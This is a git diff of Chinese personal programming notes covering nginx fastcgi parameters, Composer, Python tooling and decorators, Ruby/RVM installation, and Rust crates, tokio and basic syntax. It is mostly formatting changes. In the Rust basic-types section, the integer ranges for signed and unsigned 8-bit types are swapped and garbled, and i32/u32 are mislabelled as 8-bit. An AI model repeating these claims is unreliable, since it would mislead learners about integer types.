传递给php-fpm的参数 -```conf + +```conf fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; #脚本文件请求的路径 fastcgi_param QUERY_STRING $query_string; #请求的参数;如?app=123 @@ -98,4 +119,4 @@ fastcgi_param SERVER_NAME $server_name; #服务器名,域名在server # 在php可打印出上面的服务环境变量 # 如:echo $_SERVER['REMOTE_ADDR'] -``` \ No newline at end of file +``` diff --git a/language/php/php.md b/language/php/php.md index 5889b31..df0700c 100644 --- a/language/php/php.md +++ b/language/php/php.md @@ -1,6 +1,15 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## php依赖管理器composer + - Composer 不是一个包管理器。是的,它涉及 "packages" 和 "libraries",但它在每个项目的基础上进行管理,在你项目的某个目录中(例如 vendor)进行安装。默认情况下它不会在全局安装任何东西。因此,这仅仅是一个依赖管理。 + 1. 安装composer + ```bash curl -sS https://getcomposer.org/installer | php mv composer.phar /usr/local/bin/composer @@ -10,13 +19,15 @@ composer config -g repo.packagist composer https://packagist.phpcomposer.com # 更新 composer composer selfupdate ``` + 2. 列出所有已经安装的包 -composer show -i + composer show -i 3. 查看全局安装的包名称和版本: -composer global show + composer global show ## php demo + ```php acd/models.py ``` ## pyinstaller + - 打包为可执行文件 + ```sh # 安装 Python:确保已安装 Python(建议 3.7 或更高版本)。 pip install pyinstaller @@ -62,16 +71,20 @@ pyinstaller -F main.py -n myapp ``` ## tkinter + - 图形化界面库 - tkinter 是 Python 标准库 + ```sh brew install python-tk@3.12 /opt/homebrew/bin/python3.12 -c "import _tkinter; print(_tkinter.TCL_VERSION)" ``` ## pdb + - 运行时进行交互式调试 - Python 3.7+:可以用 breakpoint() 替代 pdb.set_trace(),无需导入 pdb。 + ```py import pdb def main(): @@ -82,16 +95,17 @@ def main(): if __name__ == "__main__": main() ``` -1. 在终端运行生成的可执行文件,程序会在 pdb.set_trace() 处暂停,进入交互式调试模式。可以使用以下命令: - 1. n(next):执行下一行代码,但不会进入函数内部(单步跳过)。 - 2. s(step):执行下一行代码,如果遇到函数调用,会进入函数内部(单步进入)。 - 3. c(continue):继续运行程序,直到遇到下一个断点或程序结束。 - 4. p variable:打印指定变量的值,例如 `p x` 显示变量 `x` 的当前值。 - 5. l(list):显示当前代码的上下文,默认显示 11 行(当前行居中)。可以加参数,例如 `l 10, 20` 显示第 10 到 20 行。 - 6. w(where) +1. 在终端运行生成的可执行文件,程序会在 pdb.set_trace() 处暂停,进入交互式调试模式。可以使用以下命令: + 1. n(next):执行下一行代码,但不会进入函数内部(单步跳过)。 + 2. s(step):执行下一行代码,如果遇到函数调用,会进入函数内部(单步进入)。 + 3. c(continue):继续运行程序,直到遇到下一个断点或程序结束。 + 4. p variable:打印指定变量的值,例如 `p x` 显示变量 `x` 的当前值。 + 5. l(list):显示当前代码的上下文,默认显示 11 行(当前行居中)。可以加参数,例如 `l 10, 20` 显示第 10 到 20 行。 + 6. w(where) ## pre-commit + ```sh pre-commit --version @@ -122,7 +136,9 @@ repos: ``` ## detect-secrets + - 安全检查 + ```sh pip install detect-secrets # 初始化 detect-secrets @@ -139,6 +155,6 @@ detect-secrets scan > .secrets.baseline args: [--baseline, .secrets.baseline] ``` - ## tomli + - Python 3.11+ 内置 tomllib(读写)。 diff --git a/language/python/python.md b/language/python/python.md index feda0da..cae286d 100644 --- a/language/python/python.md +++ b/language/python/python.md @@ -1,14 +1,23 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## Python + - 目录结构 - - Lib - - site-packages - - Standard packages - - Scripts - - pip.exe - - python.exe + + - Lib + - site-packages + - Standard packages + - Scripts + - pip.exe + - python.exe - 虚拟环境 - - 虚拟环境可以看作是原生Python的副本。 + + - 虚拟环境可以看作是原生Python的副本。 ```bash venv_name="python_1_venv" @@ -17,6 +26,7 @@ source ~/devenv/${venv_name}/bin/activate ``` ## 依赖包 + ```bash # 1. 获取当前python环境中所有已经被安装了的依赖包 pip3 freeze > ./requirements.txt @@ -37,13 +47,15 @@ pip install -r requirements.txt --force-reinstall --no-cache-dir ``` ## 编程思想 -### 代码风格 + +### 代码风格 + 1. PEP 8(Python Enhancement Proposal 8)是 Python 的官方代码风格指南,由 Guido van Rossum(Python 创始人)和 Barry Warsaw 于 2001 年 提出并正式发布。 2. 目的: 为 Python 开发者提供统一的代码风格标准,以提高代码的可读性和一致性。 -3. 核心目标: - 1. 一致性:所有 Python 代码遵循相同风格,降低认知负担。 - 2. 可读性:代码不仅是给机器执行的,更是给人阅读的。 - 3. 可维护性:统一的风格便于团队协作和长期维护。 +3. 核心目标: + 1. 一致性:所有 Python 代码遵循相同风格,降低认知负担。 + 2. 可读性:代码不仅是给机器执行的,更是给人阅读的。 + 3. 可维护性:统一的风格便于团队协作和长期维护。 4. 后续受影响的产品: Black,Ruff ```sh @@ -57,4 +69,8 @@ pip install ruff ruff check . # Lint 检查 ruff check --fix # Lint 检查,并且进行自动修复 ruff format . # 格式化代码 -``` \ No newline at end of file +``` + +### Python语言服务器 + +- Pylance diff --git a/language/python/question.md b/language/python/question.md index 27589b7..5045e53 100644 --- a/language/python/question.md +++ b/language/python/question.md @@ -1,74 +1,84 @@ +--- +created_date: 2025-04-08 +--- + +[TOC] + # 中级 + ## GIL 1. GIL(全局解释器锁)是 CPython 中的一个互斥锁,限制同一时刻只有一个线程执行 Python 字节码. 2. 目的:防止多线程竞争导致的内存管理问题。 3. 副作用:影响多线程性能,但不影响多进程。 - ## decorator + 1. 是一种强大的语法特性,它允许在不修改原函数代码的情况下,动态增强函数的功能。 + 2. 示例: - ```py - def my_decorator(func): - def wrapper(): - print("Before function") - func() - print("After function") - return wrapper - - @my_decorator - def say_hello(): - print("Hello!") - - say_hello() - # 输出: - # Before function - # Hello! - # After function - ``` - - ```py - import time - def timer(func): - def wrapper(*args, **kwargs): - start = time.time() - result = func(*args, **kwargs) - end = time.time() - print(f"{func.__name__} 执行耗时: {end - start:.4f}s") - return result - return wrapper - - @timer # 等价于 heavy_calculation = timer(heavy_calculation) - def heavy_calculation(): - time.sleep(2) - - heavy_calculation() # 输出: heavy_calculation 执行耗时: 2.0002s - ``` - - ```py - # 装饰器参数化,需嵌套三层函数 - def timer(unit="s"): # 外层接收装饰器参数 - def decorator(func): # 中层接收被装饰函数 - @wraps(func) - def wrapper(*args, **kwargs): # 内层处理逻辑 - start = time.time() - result = func(*args, **kwargs) - end = time.time() - if unit == "ms": - print(f"耗时: {(end - start) * 1000:.2f}ms") - else: - print(f"耗时: {end - start:.2f}s") - return result - return wrapper - return decorator - - @timer(unit="ms") # 使用参数化装饰器 - def quick_task(): - time.sleep(0.1) - ``` + + ```py + def my_decorator(func): + def wrapper(): + print("Before function") + func() + print("After function") + return wrapper + + @my_decorator + def say_hello(): + print("Hello!") + + say_hello() + # 输出: + # Before function + # Hello! + # After function + ``` + + ```py + import time + def timer(func): + def wrapper(*args, **kwargs): + start = time.time() + result = func(*args, **kwargs) + end = time.time() + print(f"{func.__name__} 执行耗时: {end - start:.4f}s") + return result + return wrapper + + @timer # 等价于 heavy_calculation = timer(heavy_calculation) + def heavy_calculation(): + time.sleep(2) + + heavy_calculation() # 输出: heavy_calculation 执行耗时: 2.0002s + ``` + + ```py + # 装饰器参数化,需嵌套三层函数 + def timer(unit="s"): # 外层接收装饰器参数 + def decorator(func): # 中层接收被装饰函数 + @wraps(func) + def wrapper(*args, **kwargs): # 内层处理逻辑 + start = time.time() + result = func(*args, **kwargs) + end = time.time() + if unit == "ms": + print(f"耗时: {(end - start) * 1000:.2f}ms") + else: + print(f"耗时: {end - start:.2f}s") + return result + return wrapper + return decorator + + @timer(unit="ms") # 使用参数化装饰器 + def quick_task(): + time.sleep(0.1) + ``` ## 单例 + ``` from threading import Lock @@ -90,11 +100,14 @@ class ThreadSafeSingleton: ``` # 高级 + ## generator + 1. 生成器(generator)是通过 yield 关键字实现的函数,逐个生成值而不是一次性返回所有值。 2. 优点: 节省内存,适合处理大数据。 ## 多线程 + 1. 实现:使用 threading 模块实现多线程。 2. 劣势:由于 GIL 存在,CPU 密集型任务无法充分利用多核,适合 I/O 密集型任务。 diff --git a/language/ruby.md b/language/ruby.md index 66d724f..e77e853 100644 --- a/language/ruby.md +++ b/language/ruby.md @@ -1,44 +1,59 @@ +--- +created_date: 2023-02-21 +--- + +[TOC] + ## 安装ruby + - 文档 - - https://www.runoob.com/ruby/ruby-installation-unix.html - - https://rvm.io/ + - https://www.runoob.com/ruby/ruby-installation-unix.html + - https://rvm.io/ 1. 方式一 通过linux包管理器安装 - ```bash - yum install ruby - ``` + + ```bash + yum install ruby + ``` 2. 方式二 通过RVM版本管理安装ruby - ```bash - gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB - curl -sSL https://get.rvm.io | bash -s stable - source /etc/profile.d/rvm.sh - # 或 source ~/.rvm/scripts/rvm - - rvm -v - rvm list known # 列出本地已经安装的ruby版本 - rvm remove 2.5.7 - rvm list - rvm install 3.2.1 # rvm install 2.6.4 --with-out-ext=fiddle - rvm 2.5.7 --default - ``` + + ```bash + gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB + curl -sSL https://get.rvm.io | bash -s stable + source /etc/profile.d/rvm.sh + # 或 source ~/.rvm/scripts/rvm + + rvm -v + rvm list known # 列出本地已经安装的ruby版本 + rvm remove 2.5.7 + rvm list + rvm install 3.2.1 # rvm install 2.6.4 --with-out-ext=fiddle + rvm 2.5.7 --default + ``` ## ruby包管理器gem + - 安装ruby时会自动安装gem + ``` gem install 包名 gem list --local ``` ## ruby依赖包版本管理器bundler + ```bash # 安装ruby依赖包版本管理器bundler gem install bundler ``` ## 第一个ruby程序 + - vim HelloWorld.rb + ```ruby puts "Hello world" ``` + ruby HelloWorld.rb diff --git a/language/rust/README.md b/language/rust/README.md index 8b22279..79ee3aa 100644 --- a/language/rust/README.md +++ b/language/rust/README.md @@ -1,10 +1,18 @@ +--- +created_date: 2022-06-15 +--- + +[TOC] + ## Rust学习 -- ``rustup doc``文档的学习笔记 - 1. rustup 1.24.3 (ce5817a94 2021-05-31) - 2. rustc 1.61.0 (fe5b13d68 2022-05-18) - 3. cargo 1.61.0 (a028ae42f 2022-04-29) + +- `rustup doc`文档的学习笔记 + 1. rustup 1.24.3 (ce5817a94 2021-05-31) + 2. rustc 1.61.0 (fe5b13d68 2022-05-18) + 3. cargo 1.61.0 (a028ae42f 2022-04-29) ## 目录 + 1. [Rust必看](./rust.md) 2. [基本语法](./grammar_1.md) 3. [进阶语法](./grammar_2.md) @@ -13,4 +21,4 @@ 6. [标准库](./standad.md) 7. [常用的宝箱](./crate.md) 8. [错误与解决](./error.md) -9. [安全相关](./secure.md) \ No newline at end of file +9. [安全相关](./secure.md) diff --git a/language/rust/cargo.md b/language/rust/cargo.md index 1863ec0..8ba920c 100644 --- a/language/rust/cargo.md +++ b/language/rust/cargo.md @@ -1,9 +1,15 @@ +--- +created_date: 2022-05-26 +--- + +[TOC] ## Cargo镜像源设置 ```bash vi $HOME/.cargo/config ``` + ```conf [source.crates-io] registry = "https://github.com/rust-lang/crates.io-index" @@ -31,8 +37,8 @@ registry = "https://code.aliyun.com/rustcc/crates.io-index.git" ``` - ## Cargo.toml + - 官方文档 https://doc.rust-lang.org/cargo/reference/manifest.html ```conf @@ -106,4 +112,4 @@ opt-level = 3 # 发布模式的默认优化等级是3.(cargo build --release # strip 减小二进制体积, 编译好后进行操作 strip 二进制路径 # 不管是在Debug编译模式还是Release编译模式,编译好的二进制档都会带有调试信息。Unix-like环境下,通过Release编译模式编译出来的二进制档,可以再通过strip指令,将其中不必要的标头和调试信息移除。 -``` \ No newline at end of file +``` diff --git a/language/rust/common.md b/language/rust/common.md index d6a8cc8..62aef58 100644 --- a/language/rust/common.md +++ b/language/rust/common.md @@ -1,3 +1,9 @@ +--- +created_date: 2022-09-05 +--- + +[TOC] + ```rs // 一个字节向量 Vec 转换为String fn main1() { @@ -20,7 +26,6 @@ fn main3(){ } ``` - ```rs // 迭代器迭代 fn main(){ @@ -50,4 +55,4 @@ fn main(){ println!("{:?}", element); } } -``` \ No newline at end of file +``` diff --git a/language/rust/crate.md b/language/rust/crate.md index 41e6c1b..a835d72 100644 --- a/language/rust/crate.md +++ b/language/rust/crate.md @@ -1,5 +1,11 @@ +--- +created_date: 2022-05-29 +--- + [TOC] + ## 常用的宝箱 + - 文档搜索 https://docs.rs/${宝箱的名字} ```conf @@ -71,6 +77,6 @@ tui = "0.19.0" # 用于构建丰富的终端用户界面或仪表板的库。依 ``` - ### tempfile - - tempfile() 依赖于操作系统、在文件句柄被关闭后删除临时文件。 \ No newline at end of file + +- tempfile() 依赖于操作系统、在文件句柄被关闭后删除临时文件。 diff --git a/language/rust/crate_examples.md b/language/rust/crate_examples.md index 27aa8cb..1edcd6c 100644 --- a/language/rust/crate_examples.md +++ b/language/rust/crate_examples.md @@ -1,16 +1,25 @@ +--- +created_date: 2022-09-16 +--- + +[TOC] ## rayon + - 对比标准库中的迭代函数 - - rayon并行迭代函数内的闭包不能改变外部状态。 - - rayon并行迭代函数会有些不同。 + + - rayon并行迭代函数内的闭包不能改变外部状态。 + - rayon并行迭代函数会有些不同。 - 功能 - - Rayon并行迭代器负责确定如何将数据划分为并行任务。动态适应以达到最佳性能。 - - Rayon提供了join和scope函数,允许用户自己创建并行任务。提供了更大的灵活性。 - - 可以创建自定义线程池,而不是使用Rayon的默认全局线程池。获得了更多控制。 + + - Rayon并行迭代器负责确定如何将数据划分为并行任务。动态适应以达到最佳性能。 + - Rayon提供了join和scope函数,允许用户自己创建并行任务。提供了更大的灵活性。 + - 可以创建自定义线程池,而不是使用Rayon的默认全局线程池。获得了更多控制。 - 工作原理 - - 通过线程间 Work stealing 的方式达到并行。 + + - 通过线程间 Work stealing 的方式达到并行。 ```rs fn main() { @@ -33,6 +42,7 @@ fn sum_of_squares(input: &[i32]) -> i32 { ``` ## rocksdb + - 默认会创建rocksdb:low 和 rocksdb:high两个线程。 ```rs @@ -70,8 +80,8 @@ pub fn main() { ``` - ## rand + ```rs use rand::prelude::*; @@ -112,16 +122,16 @@ fn main() { ``` - ## backoff -- 可以用于同步和异步编程中 +- 可以用于同步和异步编程中 ```toml [dependencies] backoff = "0.4.0" reqwest = {version = "0.11", features = ["json", "blocking"]} ``` + ```rs fn main() { use backoff::{retry, Error, ExponentialBackoff}; @@ -143,6 +153,7 @@ fn main() { ``` ## bytes + - Bytes - BytesMut 容量会进行伸缩。 @@ -174,6 +185,7 @@ fn main2() { ``` ## wrap + ```rs use warp::Filter; @@ -190,6 +202,7 @@ async fn main() { ``` ## ansi_term + ```rs use ansi_term::Colour::Red; use ansi_term::Colour::Cyan; @@ -206,6 +219,7 @@ fn main() { ``` ## colored + ```rs use colored::*; fn main() { @@ -235,4 +249,4 @@ fn main() { ).blue() ) } -``` \ No newline at end of file +``` diff --git a/language/rust/crate_tokio.md b/language/rust/crate_tokio.md index 684eb24..acde567 100644 --- a/language/rust/crate_tokio.md +++ b/language/rust/crate_tokio.md @@ -1,41 +1,55 @@ +--- +created_date: 2022-06-27 +--- + +[TOC] + ## tokio概览 -- tokio - - 提供了一个事件驱动型的非阻塞 I/O 异步运行时库(Runtime). - - 提供了Rust标准库的一些异步版本。 + +- tokio + + - 提供了一个事件驱动型的非阻塞 I/O 异步运行时库(Runtime). + - 提供了Rust标准库的一些异步版本。 - tokio 基于Rust官方的 Future库 和 MIO库 基础上实现了用户态线程。 - tokio 底层维护着两个线程池 - - Fixed-size threadpool for executors,为tokio::spawn产生的任务服务 - - Bounded threadpool for blocking calls,为tokio::task::spawn_blocking产生的任务服务 + + - Fixed-size threadpool for executors,为tokio::spawn产生的任务服务 + - Bounded threadpool for blocking calls,为tokio::task::spawn_blocking产生的任务服务 - tokio 每创建一个Runtime时,就在这个Runtime中创建好了一个Reactor、一个Scheduler、一个或多个 executor。 - - Waker 唤醒。每一个task运行时,都会将自己的Waker交给Reactor。 - - Reactor 接收事件通知。 “阻塞队列”中的每一个task,都需要等待Reactor收到对应的事件通知(比如IO完成的通知、睡眠完成的通知等)来唤醒它。当该任务被唤醒后,它将被放入“就绪队列”,等待调度器的调度。 - - Scheduler 调度器。将“就绪队列”task调度给Executer。 - - Executor 执行者。 + + - Waker 唤醒。每一个task运行时,都会将自己的Waker交给Reactor。 + - Reactor 接收事件通知。 “阻塞队列”中的每一个task,都需要等待Reactor收到对应的事件通知(比如IO完成的通知、睡眠完成的通知等)来唤醒它。当该任务被唤醒后,它将被放入“就绪队列”,等待调度器的调度。 + - Scheduler 调度器。将“就绪队列”task调度给Executer。 + - Executor 执行者。 - 锁 - - 标准库中的锁定策略取决于操作系统的实现 - 1. Windows和macOS,读者和作家公平排队。 - 2. Linux,读者优先,作家会出现饥饿现象。 - - tokio中的锁定策略是读者和作家公平排队,与操作系统无关。 - - tokio的RwLock在挂起的时候,会让出执行权,标准库的不会。 + + - 标准库中的锁定策略取决于操作系统的实现 + 1. Windows和macOS,读者和作家公平排队。 + 2. Linux,读者优先,作家会出现饥饿现象。 + - tokio中的锁定策略是读者和作家公平排队,与操作系统无关。 + - tokio的RwLock在挂起的时候,会让出执行权,标准库的不会。 - Task - - 每个task占用64 bytes - - 每个task都必须实现了Send特性,因为task可能会在线程间转移。 - - 执行.await后,task会在线程间转移。 - - task内的数据必须存储在当前task内,当task发生线程间的转移时,会涉及到task内的数据拷贝。 - - task 的类型是 'static 的,因此任务内部的变量不能存在外部引用。 + + - 每个task占用64 bytes + - 每个task都必须实现了Send特性,因为task可能会在线程间转移。 + - 执行.await后,task会在线程间转移。 + - task内的数据必须存储在当前task内,当task发生线程间的转移时,会涉及到task内的数据拷贝。 + - task 的类型是 'static 的,因此任务内部的变量不能存在外部引用。 ## 相关链接 + - 代码仓库 https://github.com/tokio-rs - 用例示范 https://github.com/tokio-rs/tokio/tree/master/examples - 官网 https://tokio.rs/ - 教程 https://tokio.rs/tokio ## runtime的创建 + ```rs use tokio; fn main1() { @@ -78,6 +92,7 @@ async fn main() {} ``` ## CPU-bound tasks + ```rs // 主题: CPU-bound tasks and blocking code @@ -103,6 +118,7 @@ async fn main() { ``` ## Asynchronous IO + ```rs // 主题: Asynchronous IO @@ -206,9 +222,11 @@ async fn task_2() { ``` ## join!() -- join!()宏 - - 使多个future运行在同一个task上。 - - 等待所有的future执行完成。 + +- join!()宏 + - 使多个future运行在同一个task上。 + - 等待所有的future执行完成。 + ```rs async fn do_stuff_async() { // async work @@ -228,8 +246,8 @@ async fn main() { } ``` - ## 线程间的消息传递 + ```rs // 主题: 线程间的消息传递,4种方式 // use tokio::sync::broadcast; // 多个Sender,多个Receiver,每个Receiver都可以接收到每条消息。 @@ -265,6 +283,7 @@ async fn main() { ``` ## tokio::select! + 1. 允许同时等待多个异步计算操作,然后当其中一个操作完成时就退出等待。 2. 最多可以支持 64 个分支 3. 能返回一个值。 @@ -344,20 +363,25 @@ async fn main() { } } ``` + ## async IO + - 案例在myrust仓库内 ## Frame + - 通过帧可以将字节流转换成帧组成的流。 - 每个帧就是一个数据单元,例如客户端发送的一次请求就是一个帧。 ## 优雅关闭 + - 关键点 - 1. 找出合适的关闭时机 - 2. 通知程序的每一个子部分开始关闭 - 3. 在主线程等待各个部分的关闭结果 + 1. 找出合适的关闭时机 + 2. 通知程序的每一个子部分开始关闭 + 3. 在主线程等待各个部分的关闭结果 ## async + ```rs // 通过tokio库创建future async fn do_stuff(i: i32) -> String { @@ -377,7 +401,9 @@ fn do_stuff(i: i32) -> impl Future { ``` ## tokio 和 tracing + ### tokio-console + ```conf tokio = { version = "1", features = ["full", "tracing"] } # 异步运行时库 # 开启 tokio-console 功能,tokio-console 还是一个不稳定的功能,RUSTFLAGS="--cfg tokio_unstable" cargo run console-subscriber = { version = "0.1.6" } @@ -398,6 +424,7 @@ RUSTFLAGS="--cfg tokio_unstable" cargo run ``` ### Integrating with OpenTelemetry + ```bash # 安装启动 Jaeger,一个可视化trace的UI工具 # Jaeger官网 https://www.jaegertracing.io/ @@ -438,24 +465,33 @@ tracing_subscriber::registry() ``` ## 术语 -- Yielding task交出时间片给runtime,task挂起这个task,去运行其它的task + +- Yielding task交出时间片给runtime,task挂起这个task,去运行其它的task - Actor 一种并发编程模型 - - 参考 https://www.brianstorti.com/the-actor-model/#:~:text=The%20actor%20model%20is%20a,this%20model%20is%20probably%20Erlang%20. - - 并发编程中的线程间通信 - - 通过消息传递 - - 通过共享内存 - - 共享内存更适合单机多核的并发编程,而且共享带来的问题很多,编程也困难。随着多核时代和分布式系统的到来,共享模型已经不太适合并发编程。 - - Actor模型(Actor model) - - 是由Carl Hewitt在1973定义, 由Erlang OTP 推广。 - - Actor属于并发组件模型,通过组件方式定义并发编程范式的高级阶段,避免使用者直接接触多线程并发或线程池等基础概念。 - - Actor模型=数据+行为+消息。 - - Actor模型share nothing,所有的线程(或进程)通过消息传递的方式进行合作,这些线程(或进程)称为Actor。 - - - Actor模式的应用 - - MapReduce是一种典型的Actor模式 - - Erlang是一种语言级对Actor支持的编程语言 - - Scala也提供了Actor,但是并不是在语言层面支持 - - Java也有第三方的Actor包 - - Go语言channel机制也是一种类Actor模型。 - - tokio库中,通过spawn一个task来管理应用的部分资源,task之间通过channel进行通信。 \ No newline at end of file + + - 参考 https://www.brianstorti.com/the-actor-model/#:~:text=The%20actor%20model%20is%20a,this%20model%20is%20probably%20Erlang%20. + + - 并发编程中的线程间通信 + + - 通过消息传递 + - 通过共享内存 + + - 共享内存更适合单机多核的并发编程,而且共享带来的问题很多,编程也困难。随着多核时代和分布式系统的到来,共享模型已经不太适合并发编程。 + + - Actor模型(Actor model) + + - 是由Carl Hewitt在1973定义, 由Erlang OTP 推广。 + - Actor属于并发组件模型,通过组件方式定义并发编程范式的高级阶段,避免使用者直接接触多线程并发或线程池等基础概念。 + - Actor模型=数据+行为+消息。 + - Actor模型share nothing,所有的线程(或进程)通过消息传递的方式进行合作,这些线程(或进程)称为Actor。 + + - Actor模式的应用 + + - MapReduce是一种典型的Actor模式 + - Erlang是一种语言级对Actor支持的编程语言 + - Scala也提供了Actor,但是并不是在语言层面支持 + - Java也有第三方的Actor包 + - Go语言channel机制也是一种类Actor模型。 + + - tokio库中,通过spawn一个task来管理应用的部分资源,task之间通过channel进行通信。 diff --git a/language/rust/crate_tracing.md b/language/rust/crate_tracing.md index b39b0c9..0f803e7 100644 --- a/language/rust/crate_tracing.md +++ b/language/rust/crate_tracing.md @@ -1,10 +1,16 @@ +--- +created_date: 2022-07-26 +--- +[TOC] ## 初始化日志系统的几种方式 + - tracing_subscriber负责生成span IDs和将它们指派给spans。 -- tracing_subscriber对tracing事件``tracing::{trace,debug,info,warn,error};``进行监听,然后进行相关的处理。 +- tracing_subscriber对tracing事件`tracing::{trace,debug,info,warn,error};`进行监听,然后进行相关的处理。 ### 默认方式启动全局订阅者 + ```rs use tracing::{trace,debug,info,warn,error}; use tracing_subscriber; @@ -17,6 +23,7 @@ fn main() { ``` ### 配置化启动全局订阅者 + ```rs use tracing::{trace,debug,info,warn,error}; use tracing_subscriber::{self, util::SubscriberInitExt}; @@ -45,6 +52,7 @@ fn main() { ``` ### 手动设置全局订阅者 + ```rs use tracing::{trace,debug,info,warn,error}; use tracing_subscriber; @@ -58,8 +66,10 @@ fn main() { ``` ### 注册配置全局订阅者 + - 抽象出Layer特征,每一个特征可以对同一个事件进行不同的处理。 - tracing_subscriber可以实现多个Layer特征,然后注册多个Layer特征。 + ```rs use tracing::{trace,debug,info,warn,error}; use tracing_subscriber::{fmt, layer::SubscriberExt, util::SubscriberInitExt}; @@ -75,6 +85,7 @@ fn main() { ``` ### 例子 + ```rs fn config_log(debug: bool) { let tracing_level = if debug { @@ -98,4 +109,4 @@ fn config_log(debug: bool) { tracing::subscriber::set_global_default(subscriber).expect("unable to set global default subscriber"); } } -``` \ No newline at end of file +``` diff --git a/language/rust/error.md b/language/rust/error.md index 49c0f34..0080bbd 100644 --- a/language/rust/error.md +++ b/language/rust/error.md @@ -1,9 +1,16 @@ +--- +created_date: 2022-01-29 +--- + +[TOC] + 1. 错误一 + - cargo run时的错误 - ```log - Blocking waiting for file lock on package cache - ``` + ```log + Blocking waiting for file lock on package cache + ``` - 解决办法 - ```bash - rm ~/.cargo/.package-cache - ``` \ No newline at end of file + ```bash + rm ~/.cargo/.package-cache + ``` diff --git a/language/rust/grammar_1.md b/language/rust/grammar_1.md index 58c1060..1fc8e28 100644 --- a/language/rust/grammar_1.md +++ b/language/rust/grammar_1.md @@ -1,14 +1,21 @@ +--- +created_date: 2022-07-05 +--- + [TOC] ## 一 基本语法 + - Rust 是强类型语言 ### hello world + ```bash vim hello.rs rustc hello.rs ./hello ``` + ```rs fn main() { println!("Hello World!"); // 标准输出 @@ -24,6 +31,7 @@ fn main() { ``` ### 声明变量 + 1. 要声明变量,必须使用 let 关键字。 2. **变量默认是不能被改变的。** 3. 如果在代码里未指定变量的数据类型,则编译时编译器会根据变量的值推断出变量的数据类型。 @@ -51,88 +59,103 @@ static mut STATIC_NUM: i32 = 123; ``` ### 基本数据类型 + - 基本数据类型 - 1. 所有整数类型,例如 i32 、 u32 、 i64 等。 默认为 i32 类型。 - 2. 布尔类型 bool,值为 true 或 false 。 - 3. 所有浮点类型,f32 和 f64。默认为 f64 类型。 - 4. 字符类型 char。 - 5. 仅包含以上类型数据的元组(Tuples)。 + 1. 所有整数类型,例如 i32 、 u32 、 i64 等。 默认为 i32 类型。 + 2. 布尔类型 bool,值为 true 或 false 。 + 3. 所有浮点类型,f32 和 f64。默认为 f64 类型。 + 4. 字符类型 char。 + 5. 仅包含以上类型数据的元组(Tuples)。 1. 整数型 - - 有符号8 bit整形,取值范围 28 - 1,即0到127 - - 无符号8 bit整形,取值范围 -(27-1) 到 27-1,即-128到127 - ```rust - // - 有符号8 bit整形 i32 - let var_name1: i32 = 10000; - let var_name1: i32 = 1_0000; // 1_0000 和 10000 效果等同,1_0000 更易于阅读 - // - 无符号8 bit整形 u32 - let var_name2: u32 = 22; - ``` + + - 有符号8 bit整形,取值范围 28 - 1,即0到127 + - 无符号8 bit整形,取值范围 -(27-1) 到 27-1,即-128到127 + + ```rust + // - 有符号8 bit整形 i32 + let var_name1: i32 = 10000; + let var_name1: i32 = 1_0000; // 1_0000 和 10000 效果等同,1_0000 更易于阅读 + // - 无符号8 bit整形 u32 + let var_name2: u32 = 22; + ``` 2. 浮点数型 - - 只有 32 位浮点数(f32)和 64 位浮点数(f64)。 - ```rust - let var_name1: f32 = 3.0; // f32 - ``` + + - 只有 32 位浮点数(f32)和 64 位浮点数(f64)。 + + ```rust + let var_name1: f32 = 3.0; // f32 + ``` 3. 布尔型 - ```rust - let var_name1: bool = true; - ``` + + ```rust + let var_name1: bool = true; + ``` 4. 字符型 - - 字符型大小为 4 个字节。 - ```rust - // 使用单引号声明字符型变量 - let var_name1: char = '我'; - let var_name1 = '😻'; - let var_name1 = '❤'; - ``` + + - 字符型大小为 4 个字节。 + + ```rust + // 使用单引号声明字符型变量 + let var_name1: char = '我'; + let var_name1 = '😻'; + let var_name1 = '❤'; + ``` 5. 元组 - ```rs - let var_tuple = (1, 2, 3) - ``` -6. 字节 - ```rs - let var_char = 'C'; // char类型 - let var_string = "C"; // 字符串 - let var_byte = b'C'; // byte型(u8型) - let var_bytes = b"ABC"; // byte型(&[u8; 3]) - dbg!(var_byte); // 输出数字65 - dbg!(var_bytes); // 输出数字65 - ``` + ```rs + let var_tuple = (1, 2, 3) + ``` +6. 字节 + ```rs + let var_char = 'C'; // char类型 + let var_string = "C"; // 字符串 + let var_byte = b'C'; // byte型(u8型) + let var_bytes = b"ABC"; // byte型(&[u8; 3]) + dbg!(var_byte); // 输出数字65 + dbg!(var_bytes); // 输出数字65 + ``` ### 复合数据类型 + 1. 元组 - - 一个变量可以包含不同类型的数据 - ```rust - let tuple_name: (i32, f64, u8) = (500, 6.4, 1); - let x = tuple_name.0; // 通过索引获取元组的值 - let (x, y, z) = tuple_name; // 分解元组 + - 一个变量可以包含不同类型的数据 + + ```rust + let tuple_name: (i32, f64, u8) = (500, 6.4, 1); + let x = tuple_name.0; // 通过索引获取元组的值 - let tupple_special_name = (); // 这是一个特殊的元组,unit type - ``` + let (x, y, z) = tuple_name; // 分解元组 + + let tupple_special_name = (); // 这是一个特殊的元组,unit type + ``` 2. 数组 - ```rust - let arr_name1: [i32; 5] = [1, 2, 3, 4, 5]; - let arr_name1 = [1, 2, 3, 4, 5]; - let arr_name1 = [3; 5]; // 等同于 let arr_name1 = [3, 3, 3, 3, 3]; - let element = arr_name1[0]; // 通过索引获取元组的值 - // 可以通过 数组.iter() 方式进行数组的迭代 - arr_name1.iter(); - ``` + ```rust + let arr_name1: [i32; 5] = [1, 2, 3, 4, 5]; + let arr_name1 = [1, 2, 3, 4, 5]; + let arr_name1 = [3; 5]; // 等同于 let arr_name1 = [3, 3, 3, 3, 3]; + + let element = arr_name1[0]; // 通过索引获取元组的值 + // 可以通过 数组.iter() 方式进行数组的迭代 + arr_name1.iter(); + ``` ## 二 流程控制 + - if else 是基于 true和false - match 是基于模式匹配 + ### 条件 if else + ```rust fn main() { let var_number1 = 3; @@ -146,7 +169,9 @@ fn main() { println!("var_number 为 {}", var_number2); } ``` + ### 分支选择 match + - 关键字 match 能够对枚举类、整数、浮点数、字符、字符串切片引用(&str)类型的数据进行分支选择,类似于Java的switch。 - match分支选择中,必须包含所有的可能性。 - if let 语法, 是只区分两种情况的 match 语句的"语法糖",避免了match需要匹配所有可能性的操作。 @@ -188,6 